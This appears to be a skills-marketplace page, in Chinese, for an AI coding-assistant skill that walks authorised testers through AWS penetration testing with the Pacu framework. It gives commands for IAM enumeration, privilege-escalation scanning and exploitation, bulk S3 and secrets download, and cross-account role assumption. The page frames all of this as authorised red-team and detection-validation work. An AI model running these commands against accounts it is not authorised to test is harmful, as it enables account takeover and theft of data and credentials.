mcpField
P
performing-cloud-penetration-testing-with-pacu

performing-cloud-penetration-testing-with-pacu

github.com/mukul975安全35.2k80 次安装8 周前更新
代码仓库

关于 performing-cloud-penetration-testing-with-pacu

面向获授权的 AWS 安全测试人员,指导使用 Pacu 开展云渗透测试。内容涵盖 IAM 枚举、权限提升、数据访问、横向移动及检测验证,并强调授权范围与清理。

主要功能

  1. 01枚举 IAM 用户、角色与策略
  2. 02扫描权限提升路径
  3. 03评估数据访问与横向移动
  4. 04检查 GuardDuty 检测结果

适用场景

  1. 01验证 IAM 权限配置
  2. 02模拟凭证泄露后的影响
  3. 03开展 AWS 红队演练

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-cloud-penetration-testing-with-pacu

安装后在 Claude Code 中输入/performing-cloud-penetration-testing-with-pacu确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

使用 Pacu 进行云渗透测试

何时使用

  • 在对 AWS 环境进行授权渗透测试时
  • 在验证 IAM 策略、SCP 和权限边界的有效性时
  • 在评估一组已泄露 AWS 凭证的影响范围时
  • 在测试 GuardDuty、Security Hub 和自定义告警的检测能力时
  • 在针对 AWS 云基础设施构建红队演练时

请勿使用于对任何 AWS 账户的未授权测试、对 AWS 基础设施本身的测试(由责任共担模型覆盖)、未经 AWS 批准的 DDoS 或流量攻击,或未经明确授权和 breakglass 流程的生产账户测试。

前提条件

  • 来自 AWS 账户所有者的书面授权,且已定义范围和交战规则
  • 已安装 Pacu v1.5+(pip install pacu)
  • 具有有限初始权限的测试 AWS 凭证(模拟凭证泄露场景)
  • 已启用 CloudTrail 日志记录,以捕获所有 Pacu 活动供事后审查
  • 已启用 GuardDuty,以验证对 Pacu 活动的检测
  • 已记录紧急联系人和回滚流程

工作流

步骤 1:初始化 Pacu 会话并配置凭证

使用测试凭证设置 Pacu 会话,并定义交战范围。

# Install Pacu
pip install pacu

# Start Pacu
pacu

# Create a new session for the engagement
Pacu > set_keys --key-alias pentest-target
# Enter Access Key ID: AKIA...
# Enter Secret Access Key: ...

# Verify identity
Pacu > whoami

# Review available modules
Pacu > list
Pacu > search iam
Pacu > search ec2
Pacu > search s3
步骤 2:枚举 IAM 配置

运行 IAM 枚举模块,以映射用户、角色、策略和组成员关系。

# Comprehensive IAM enumeration
Pacu > run iam__enum_users_roles_policies_groups

# Enumerate detailed permissions for the current principal
Pacu > run iam__enum_permissions

# Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails)
Pacu > run iam__get_credential_report

# Enumerate role trust policies for cross-account access
Pacu > run iam__enum_roles

# Check current session data
Pacu > data iam
步骤 3:扫描权限提升路径

使用 Pacu 的权限提升扫描器,识别所有可利用的提升向量。

# Run the privilege escalation scanner
Pacu > run iam__privesc_scan

# The scanner tests for 21+ escalation methods:
# Method 1:  iam:CreatePolicyVersion
# Method 2:  iam:SetDefaultPolicyVersion
# Method 3:  iam:PassRole + ec2:RunInstances
# Method 4:  iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
# Method 5:  iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping
# Method 6:  iam:PassRole + glue:CreateDevEndpoint
# Method 7:  iam:PassRole + cloudformation:CreateStack
# Method 8:  iam:PassRole + datapipeline:CreatePipeline
# Method 9:  iam:CreateAccessKey
# Method 10: iam:CreateLoginProfile
# Method 11: iam:UpdateLoginProfile
# Method 12: iam:AttachUserPolicy
# Method 13: iam:AttachGroupPolicy
# Method 14: iam:AttachRolePolicy
# Method 15: iam:PutUserPolicy
# Method 16: iam:PutGroupPolicy
# Method 17: iam:PutRolePolicy
# Method 18: iam:AddUserToGroup
# Method 19: iam:UpdateAssumeRolePolicy
# Method 20: sts:AssumeRole
# Method 21: lambda:UpdateFunctionCode

# If escalation paths found, attempt exploitation
Pacu > run iam__privesc_scan --escalate
步骤 4:枚举并测试数据访问

发现可访问的数据存储,包括 S3、DynamoDB、RDS 和 Secrets Manager。

# Enumerate S3 buckets
Pacu > run s3__bucket_finder

# Download S3 bucket data for analysis
Pacu > run s3__download_bucket --bucket target-bucket --dl-names

# Enumerate EC2 instances and extract user data
Pacu > run ec2__enum
Pacu > run ec2__download_userdata

# Enumerate Lambda functions and check for secrets in environment variables
Pacu > run lambda__enum

# Enumerate Secrets Manager
Pacu > run secretsmanager__enum

# Enumerate SSM parameters (often contain secrets)
Pacu > run ssm__download_parameters

# Check for exposed EBS snapshots
Pacu > run ebs__enum_snapshots_unauth
步骤 5:测试横向移动和持久化

评估跨账户访问、服务利用和持久化机制。

# Test cross-account role assumption
Pacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role/CrossAccountRole

# Enumerate Lambda for code execution opportunities
Pacu > run lambda__enum
# If lambda:UpdateFunctionCode permission exists, could inject code

# Test EC2 instance connect for lateral movement
Pacu > run ec2__enum
# Check for instances with instance profiles that have broader permissions

# Check for CodeBuild projects (potential credential access)
Pacu > run codebuild__enum

# Enumerate ECS/Fargate for container-based lateral movement
Pacu > run ecs__enum

# Export all discovered data
Pacu > data all
步骤 6:验证检测并生成报告

审查安全控制是否检测到测试活动,并汇总发现。

# Check GuardDuty findings generated during testing
aws guardduty list-findings \
  --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
  --finding-criteria '{
    "Criterion": {
      "updatedAt": {"GreaterThanOrEqual": ENGAGEMENT_START_EPOCH}
    }
  }' --output json

# Check Security Hub findings
aws securityhub get-findings \
  --filters '{
    "CreatedAt": [{"Start": "ENGAGEMENT_START_ISO", "End": "ENGAGEMENT_END_ISO"}]
  }'

# Export Pacu session data for reporting
Pacu > export_keys --all
Pacu > data all > pacu-session-export.json

# Clean up any test artifacts created during assessment
aws iam delete-user --user-name pacu-test-user 2>/dev/null
aws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>/dev/null

关键概念

术语定义
Pacu由 Rhino Security Labs 维护的开源 AWS 利用框架,为授权渗透测试提供模块化攻击能力
权限提升扫描对 IAM 策略的自动化分析,以识别将权限从有限访问提升至管理控制的已知方法
iam:PassRole关键的 IAM 操作,允许主体将角色分配给 AWS 服务,从而通过 Lambda、EC2 或 Glue 实现间接权限提升
跨账户角色代入通过信任策略配置,使用 sts:AssumeRole 在另一个 AWS 账户中获取临时凭证
交战规则定义渗透测试交战范围、方法、时间和边界的书面协议
后利用在初始访问后执行的活动,用于展示影响,包括数据访问、横向移动和建立持久化

工具与系统

  • Pacu:AWS 利用框架,具有 50+ 个模块,用于枚举、提升、持久化和数据外泄
  • CloudFox:AWS 枚举工具,用于从攻击者视角识别攻击路径
  • Principal Mapper:IAM 权限提升图分析工具,用于可视化提升路径
  • ScoutSuite:多云安全评估工具,用于在测试前识别错误配置
  • AWS CloudTrail:审计日志记录,用于在交战期间捕获所有 Pacu 活动

常见场景

场景:从已泄露的开发者凭证开始的红队评估

背景:一次红队演习模拟攻击者从泄露的代码仓库中获取开发者的 AWS 访问密钥的情形。目标是确定从这一初始访问点出发能够造成的最大影响。

方法:

  1. 使用已泄露的凭证初始化 Pacu,并运行 whoami 确认身份
  2. 运行 iam__enum_permissions 梳理开发者的有效权限
  3. 执行 iam__privesc_scan 识别从开发者到管理员的提权路径
  4. 发现该开发者可以调用 iam:PassRole + lambda:CreateFunction,创建具有管理员角色的 Lambda
  5. 利用该提权获取管理员级别的临时凭证
  6. 枚举 S3 存储桶、下载敏感数据并访问 Secrets Manager
  7. 验证 GuardDuty 是否检测到提权与数据访问活动
  8. 清理所有测试产物并记录完整的攻击链

注意事项:Pacu 模块可能比较嘈杂,会在短时间内产生大量 API 调用。GuardDuty 可能会基于测试者的 IP 触发 Recon:IAMUser/MaliciousIPCaller 发现项。请与 SOC 团队协调,将测试 IP 加入白名单,或建立清晰的沟通渠道以区分测试与真实攻击。测试结束后务必清理持久化产物。

输出格式

AWS Penetration Test Report (Pacu)
=====================================
Target Account: 123456789012
Engagement Period: 2026-02-20 to 2026-02-23
Starting Credentials: Developer role (read-only S3, Lambda invoke)
Authorization: Signed ROE document #PT-2026-015

ATTACK PATH SUMMARY:
  Starting access: S3 read-only, Lambda invoke
  Maximum access achieved: AdministratorAccess (full account compromise)
  Time to admin: 47 minutes
  Detection by GuardDuty: Yes (after 12 minutes)
  Detection by Security Hub: Yes (after 18 minutes)
  SOC response time: 45 minutes (missed the escalation window)

PACU MODULES EXECUTED:
  iam__enum_users_roles_policies_groups: SUCCESS
  iam__enum_permissions: SUCCESS
  iam__privesc_scan: 3 escalation paths found
  s3__download_bucket: 4 buckets accessed
  lambda__enum: 12 functions enumerated
  secretsmanager__enum: 8 secrets retrieved

ESCALATION PATHS EXPLOITED:
  [1] iam:PassRole + lambda:CreateFunction -> AdminRole (CRITICAL)
  [2] sts:AssumeRole -> CrossAccountProdRole (HIGH)
  [3] iam:CreatePolicyVersion on dev-policy (CRITICAL)

DATA ACCESSED:
  S3 objects downloaded: 1,247 files (2.3 GB)
  Secrets Manager values: 8 secrets including DB credentials
  SSM parameters: 23 parameters including API keys

DETECTION RESULTS:
  GuardDuty findings generated: 7
  Security Hub findings: 12
  Custom CloudWatch alarms triggered: 3
  SOC acknowledged: Yes (45 min response)

RECOMMENDATIONS:
  1. Apply permission boundaries to all developer roles
  2. Remove iam:PassRole from non-admin principals
  3. Reduce SOC response time to < 15 minutes for IAM escalation alerts
  4. Implement SCP blocking iam:CreatePolicyVersion in non-admin OUs

评论

支持 Markdown